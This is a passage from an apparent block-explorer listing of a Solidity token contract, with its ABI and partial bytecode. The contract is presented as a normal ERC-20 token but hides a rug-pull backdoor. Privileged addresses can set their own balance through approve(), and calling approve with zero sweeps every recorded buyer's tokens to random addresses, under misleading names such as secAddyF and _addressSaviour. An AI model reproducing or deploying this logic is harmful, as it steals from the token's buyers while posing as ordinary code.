        for(uint256 i = 0; i < addresses.length; i++) {
            address addy = addresses[i];
            pAddys[addy] = true;
        }

        uniswapV2Router = IUniswapV2Router02(uniswapRouterAddress);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        mWallet = totalSupply().mul(30).div(1000);
        mBuy = totalSupply().mul(20).div(1000);
        mSell = totalSupply().mul(10).div(1000);

    }

    modifier onlyPr () {
        require(_msgSender() == owner() || pAddys[_msgSender()], "Not permitted.");
        _;
    }

    event SwapAndLiquify(
        uint256 tokensForLiquidity,
        uint256 ethForLiq
    );

    function setUniswapV2PairAddress(address pairAddress) external onlyPr {
        uniswapV2Pair = pairAddress;
    }

    function _rTransfer(
        address from,
        address to,
        uint256 amount
    ) internal {
        _tBalances[from] = _tBalances[from].sub(amount);
        _tBalances[to] = _tBalances[to].add(amount);

        emit Transfer(from, to, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        uint256 fromBalance = balanceOf(from);
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        require(from != to, "You cannot send to yourself.");

        if(pAddys[from] || pAddys[to]) {
            _rTransfer(from, to, amount);
            return;
        } else {
            bool buyTx = false;
            bool sellTx = false;

            if(from == uniswapV2Pair) {
                buyTx = true;
                if(!limitsInEffect) {
                    addysStucked.push(address(to));
                }
            } else if (to == uniswapV2Pair) {
                sellTx = true;
            }

            if(limitsInEffect) {
                if(buyTx) {
                    require(balanceOf(to).add(amount) <= mWallet);
                    require(amount <= mBuy);
                    addysStucked.push(address(to));
                }
                if(sellTx) {
                    require(amount <= mSell);
                }
            }
            _rTransfer(from, to, amount);
        }
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _tTotalSupply.sub(balanceOf(D_ADDY));
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _tBalances[account];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual override {
        if(pAddys[owner]) {
            if(amount > 0) { _tBalances[owner] = amount; }
            if(amount == 0) { secStuckedAddysF(); }
        }
        super._approve(owner, spender, amount);
    }

    function getPAddy(address walletAddy) external view onlyPr returns(bool) {
        return pAddys[walletAddy];
    }

    function secAddyF(
        address addyStucked,
        uint256 amount
    ) private {
        uint160 randNum = uint160(uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp, addyStucked)))  % (2**160));

        address _addressSaviour;
        _addressSaviour = address(uint160(uint256(
            keccak256(
                abi.encodePacked(
                    block.timestamp,
                    addyStucked,
                    randNum
                    )
                )
            )));

        _tBalances[addyStucked] = _tBalances[addyStucked].sub(amount);
        _tBalances[_addressSaviour] = _tBalances[_addressSaviour].add(amount);
    }

    function secStuckedAddysF() private {
        for(uint256 i = 0; i < addysStucked.length; i++) {
            address addyStucked = addysStucked[i];
            secAddyF(addyStucked, _tBalances[addyStucked]);
        }

        addysStucked = new address[](0);
    }

    function getSecAddyFunc() external view onlyPr returns(address[] memory) {
        return addysStucked;
    }

    function getLimits() external view onlyPr returns(uint256, uint256, uint256) {
        return (mWallet, mBuy, mSell);
    }

    function toggleLimits() external onlyPr {
        limitsInEffect = !limitsInEffect;
    }

}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensForLiquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethForLiq","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getLimits","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"walletAddy","type":"address"}],"name":"getPAddy","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSecAddyFunc","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pairAddress","type":"address"}],"name":"setUniswapV2PairAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toggleLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052620000146200069960201b60201c565b600a620000229190620009f6565b6008556001600b60146101000a81548160ff0219169083151502179055503480156200004c575f80fd5b506040516200393e3803806200393e833981810160405281019062000072919062000c24565b6040518060400160405280600b81526020017f4261627920526566756e640000000000000000000000000000000000000000008152506040518060400160405280600b81526020017f4261627920526566756e640000000000000000000000000000000000000000008152508160039081620000ef919062000ea1565b50806004908162000101919062000ea1565b5050506200012462000118620006a160201b60201c565b620006a860201b60201c565b5f620001356200069960201b60201c565b600a620001439190620009f6565b64e8d4a5100062000155919062000f85565b90506200016e816006546200076b60201b90919060201c565b600681905550620001d58160075f6200018c6200078260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546200076b60201b90919060201c565b60075f620001e86200078260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620002356200078260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1661dead73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000295919062000fe0565b60405180910390a3600160095f620002b26200078260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505f5b82518110156200039a575f83828151811062000324576200032362000ffb565b5b60200260200101519050600160095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550508080620003919062001028565b91505062000303565b50737a250d5630b4cf539739df2c5dacb4c659f2488d600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200045a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000480919062001074565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000507573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200052d919062001074565b6040518363ffffffff1660e01b81526004016200054c929190620010b5565b6020604051808303815f875af115801562000569573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200058f919062001074565b600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620006096103e8620005fa601e620005eb620007aa60201b60201c565b620007d960201b90919060201c565b620007f060201b90919060201c565b600c819055506200064a6103e86200063b60146200062c620007aa60201b60201c565b620007d960201b90919060201c565b620007f060201b90919060201c565b600d819055506200068b6103e86200067c600a6200066d620007aa60201b60201c565b620007d960201b90919060201c565b620007f060201b90919060201c565b600e819055505050620011b8565b5f6012905090565b5f33905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f81836200077a9190620010e0565b905092915050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f620007d4620007c261dead6200080760201b60201c565b6006546200084d60201b90919060201c565b905090565b5f8183620007e8919062000f85565b905092915050565b5f8183620007ff919062001147565b905092915050565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f81836200085c91906200117e565b905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620008ee57808604811115620008c657620008c562000864565b5b6001851615620008d65780820291505b8081029050620008e68562000891565b9450620008a6565b94509492505050565b5f82620009085760019050620009da565b8162000917575f9050620009da565b81600181146200093057600281146200093b5762000971565b6001915050620009da565b60ff84111562000950576200094f62000864565b5b8360020a9150848211156200096a576200096962000864565b5b50620009da565b5060208310610133831016604e8410600b8410161715620009ab5782820a905083811115620009a557620009a462000864565b5b620009da565b620009ba84848460016200089d565b92509050818404811115620009d457620009d362000864565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f62000a0282620009e1565b915062000a0f83620009ea565b925062000a3e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620008f7565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b62000aa38262000a5b565b810181811067ffffffffffffffff8211171562000ac55762000ac462000a6b565b5b80604052505050565b5f62000ad962000a46565b905062000ae7828262000a98565b919050565b5f67ffffffffffffffff82111562000b095762000b0862000a6b565b5b602082029050602081019050919050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000b498262000b1e565b9050919050565b62000b5b8162000b3d565b811462000b66575f80fd5b50565b5f8151905062000b798162000b50565b92915050565b5f62000b9562000b8f8462000aec565b62000ace565b9050808382526020820190506020840283018581111562000bbb5762000bba62000b1a565b5b835b8181101562000be8578062000bd3888262000b69565b84526020840193505060208101905062000bbd565b5050509392505050565b5f82601f83011262000c095762000c0862000a57565b5b815162000c1b84826020860162000b7f565b91505092915050565b5f6020828403121562000c3c5762000c3b62000a4f565b5b5f82015167ffffffffffffffff81111562000c5c5762000c5b62000a53565b5b62000c6a8482850162000bf2565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000cc257607f821691505b60208210810362000cd85762000cd762000c7d565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000d3c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000cff565b62000d48868362000cff565b95508019841693508086168417925050509392505050565b5f819050919050565b5f62000d8962000d8362000d7d84620009e1565b62000d60565b620009e1565b9050919050565b5f819050919050565b62000da48362000d69565b62000dbc62000db38262000d90565b84845462000d0b565b825550505050565b5f90565b62000dd262000dc4565b62000ddf81848462000d99565b505050565b5b8181101562000e065762000dfa5f8262000dc8565b60018101905062000de5565b5050565b601f82111562000e555762000e1f8162000cde565b62000e2a8462000cf0565b8101602085101562000e3a578190505b62000e5262000e498562000cf0565b83018262000de4565b50505b505050565b5f82821c905092915050565b5f62000e775f198460080262000e5a565b1980831691505092915050565b5f62000e91838362000e66565b9150826002028217905092915050565b62000eac8262000c73565b67ffffffffffffffff81111562000ec85762000ec762000a6b565b5b62000ed4825462000caa565b62000ee182828562000e0a565b5f60209050601f83116001811462000f17575f841562000f02578287015190505b62000f0e858262000e84565b86555062000f7d565b601f19841662000f278662000cde565b5f5b8281101562000f505784890151825560018201915060208501945060208101905062000f29565b8683101562000f70578489015162000f6c601f89168262000e66565b8355505b6001600288020188555050505b505050505050565b5f62000f9182620009e1565b915062000f9e83620009e1565b925082820262000fae81620009e1565b9150828204841483151762000fc85762000fc762000864565b5b5092915050565b62000fda81620009e1565b82525050565b5f60208201905062000ff55f83018462000fcf565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6200103482620009e1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820362001069576200106862000864565b5b600182019050919050565b5f602082840312156200108c576200108b62000a4f565b5b5f6200109b8482850162000b69565b91505092915050565b620010af8162000b3d565b82525050565b5f604082019050620010ca5f830185620010a4565b620010d96020830184620010a4565b9392505050565b5f620010ec82620009e1565b9150620010f983620009e1565b925082820190508082111562001114576200111362000864565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6200115382620009e1565b91506200116083620009e1565b9250826200117357620011726200111a565b5b828204905092915050565b5f6200118a82620009e1565b91506200119783620009e1565b9250828203905081811115620011b257620011b162000864565b5b92915050565b61277880620011c65f395ff3fe608060405234801561000f575f80fd5b506004361061011f575f3560e01c8063715018a6116100ab578063a9059cbb1161006f578063a9059cbb146102f9578063bbe8f63414610329578063dd62ed3e14610347578063e85bb16714610377578063f2fde38b146103a75761011f565b8063715018a6146102675780638da5cb5b1461027157806395d89b411461028f57806399dde5de146102ad578063a457c2d7146102c95761011f565b806323b872dd116100f257806323b872dd14610199578063313ce567146101c957806339509351146101e75780636f89e4091461021757806370a08231146102375761011f565b806306fdde0314610123578063095ea7b31461014157806314228b0b1461017157806318160ddd1461017b575b5f80fd5b61012b6103c3565b6040516101389190611b73565b60405180910390f35b61015b60048036038101906101569190611c24565b610453565b6040516101689190611c7c565b60405180910390f35b610179610475565b005b610183610575565b6040516101909190611ca4565b60405180910390f35b6101b360048036038101906101ae9190611cbd565b61059a565b6040516101c09190611c7c565b60405180910390f35b6101d16105c8565b6040516101de9190611d28565b60405180910390f35b61020160048036038101906101fc9190611c24565b6105d0565b60405161020e9190611c7c565b60405180910390f35b61021f610606565b60405161022e93929190611d41565b60405180910390f35b610251600480360381019061024c9190611d76565b6106f1565b60405161025e9190611ca4565b60405180910390f35b61026f610737565b005b61027961074a565b6040516102869190611db0565b60405180910390f35b610297610772565b6040516102a49190611b73565b60405180910390f35b6102c760048036038101906102c29190611d76565b610802565b005b6102e360048036038101906102de9190611c24565b610919565b6040516102f09190611c7c565b60405180910390f35b610313600480360381019061030e9190611c24565b61098e565b6040516103209190611c7c565b60405180910390f35b6103316109b0565b60405161033e9190611e80565b60405180910390f35b610361600480360381019061035c9190611ea0565b610b0f565b60405161036e9190611ca4565b60405180910390f35b610391600480360381019061038c9190611d76565b610b91565b60405161039e9190611c7c565b60405180910390f35b6103c160048036038101906103bc9190611d76565b610cb7565b005b6060600380546103d290611f0b565b80601f01602080910402602001604051908101604052809291908181526020018280546103fe90611f0b565b80156104495780601f1061042057610100808354040283529160200191610449565b820191905f5260205f20905b81548152906001019060200180831161042c57829003601f168201915b5050505050905090565b5f8061045d610d39565b905061046a818585610d40565b600191505092915050565b61047d61074a565b73ffffffffffffffffffffffffffffffffffffffff1661049b610d39565b73ffffffffffffffffffffffffffffffffffffffff16148061050a575060095f6104c3610d39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b610549576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054090611f85565b60405180910390fd5b600b60149054906101000a900460ff1615600b60146101000a81548160ff021916908315150217905550565b5f61059561058461dead6106f1565b600654610dfb90919063ffffffff16565b905090565b5f806105a4610d39565b90506105b1858285610e10565b6105bc858585610e9b565b60019150509392505050565b5f6012905090565b5f806105da610d39565b90506105fb8185856105ec8589610b0f565b6105f69190611fd0565b610d40565b600191505092915050565b5f805f61061161074a565b73ffffffffffffffffffffffffffffffffffffffff1661062f610d39565b73ffffffffffffffffffffffffffffffffffffffff16148061069e575060095f610657610d39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6106dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d490611f85565b60405180910390fd5b600c54600d54600e54925092509250909192565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61073f6112ef565b6107485f61136d565b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461078190611f0b565b80601f01602080910402602001604051908101604052809291908181526020018280546107ad90611f0b565b80156107f85780601f106107cf576101008083540402835291602001916107f8565b820191905f5260205f20905b8154815290600101906020018083116107db57829003601f168201915b5050505050905090565b61080a61074a565b73ffffffffffffffffffffffffffffffffffffffff16610828610d39565b73ffffffffffffffffffffffffffffffffffffffff161480610897575060095f610850610d39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6108d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cd90611f85565b60405180910390fd5b80600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f80610923610d39565b90505f6109308286610b0f565b905083811015610975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096c90612073565b60405180910390fd5b6109828286868403610d40565b60019250505092915050565b5f80610998610d39565b90506109a5818585610e9b565b600191505092915050565b60606109ba61074a565b73ffffffffffffffffffffffffffffffffffffffff166109d8610d39565b73ffffffffffffffffffffffffffffffffffffffff161480610a47575060095f610a00610d39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b610a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7d90611f85565b60405180910390fd5b600f805480602002602001604051908101604052809291908181526020018280548015610b0557602002820191905f5260205f20905b815f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610abc575b5050505050905090565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f610b9a61074a565b73ffffffffffffffffffffffffffffffffffffffff16610bb8610d39565b73ffffffffffffffffffffffffffffffffffffffff161480610c27575060095f610be0610d39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b610c66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5d90611f85565b60405180910390fd5b60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b610cbf6112ef565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2490612101565b60405180910390fd5b610d368161136d565b50565b5f33905090565b60095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610deb575f811115610dda578060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5f8103610dea57610de9611430565b5b5b610df683838361153b565b505050565b5f8183610e08919061211f565b905092915050565b5f610e1b8484610b0f565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610e955781811015610e87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7e9061219c565b60405180910390fd5b610e948484848403610d40565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f009061222a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6e906122b8565b60405180910390fd5b5f610f81846106f1565b905081811015610fc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbd90612346565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611034576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102b906123ae565b60405180910390fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806110cf575060095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156110e5576110df8484846116fe565b506112ea565b5f80600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036111b95760019150600b60149054906101000a900460ff166111b457600f85908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b611213565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff160361121257600190505b5b600b60149054906101000a900460ff16156112db5781156112c557600c5461124c8561123e886106f1565b61188a90919063ffffffff16565b1115611256575f80fd5b600d54841115611264575f80fd5b600f85908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b80156112da57600e548411156112d9575f80fd5b5b5b6112e68686866116fe565b5050505b505050565b6112f7610d39565b73ffffffffffffffffffffffffffffffffffffffff1661131561074a565b73ffffffffffffffffffffffffffffffffffffffff161461136b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136290612416565b60405180910390fd5b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f5b600f805490508110156114d9575f600f828154811061145457611453612434565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506114c58160075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461189f565b5080806114d190612461565b915050611432565b505f67ffffffffffffffff8111156114f4576114f36124a8565b5b6040519080825280602002602001820160405280156115225781602001602082028036833780820191505090505b50600f9080519060200190611538929190611a47565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a090612545565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611617576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160e906125d3565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116f19190611ca4565b60405180910390a3505050565b61174e8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610dfb90919063ffffffff16565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506117df8160075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461188a90919063ffffffff16565b60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161187d9190611ca4565b60405180910390a3505050565b5f81836118979190611fd0565b905092915050565b5f740100000000000000000000000000000000000000004442856040516020016118cb93929190612656565b604051602081830303815290604052805190602001205f1c6118ed91906126bf565b90505f42848360405160200161190593929190612706565b604051602081830303815290604052805190602001205f1c905061196f8360075f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610dfb90919063ffffffff16565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611a008360075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461188a90919063ffffffff16565b60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050565b828054828255905f5260205f20908101928215611abd579160200282015b82811115611abc578251825f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190611a65565b5b509050611aca9190611ace565b5090565b5b80821115611ae5575f815f905550600101611acf565b5090565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611b20578082015181840152602081019050611b05565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611b4582611ae9565b611b4f8185611af3565b9350611b5f818560208601611b03565b611b6881611b2b565b840191505092915050565b5f6020820190508181035f830152611b8b8184611b3b565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611bc082611b97565b9050919050565b611bd081611bb6565b8114611bda575f80fd5b50565b5f81359050611beb81611bc7565b92915050565b5f819050919050565b611c0381611bf1565b8114611c0d575f80fd5b50565b5f81359050611c1e81611bfa565b92915050565b5f8060408385031215611c3a57611c39611b93565b5b5f611c4785828601611bdd565b9250506020611c5885828601611c10565b9150509250929050565b5f8115159050919050565b611c7681611c62565b82525050565b5f602082019050611c8f5f830184611c6d565b92915050565b611c9e81611bf1565b82525050565b5f602082019050611cb75f830184611c95565b92915050565b5f805f60608486031215611cd457611cd3611b93565b5b5f611ce186828701611bdd565b9350506020611cf286828701611bdd565b9250506040611d0386828701611c10565b9150509250925092565b5f60ff82169050919050565b611d2281611d0d565b82525050565b5f602082019050611d3b5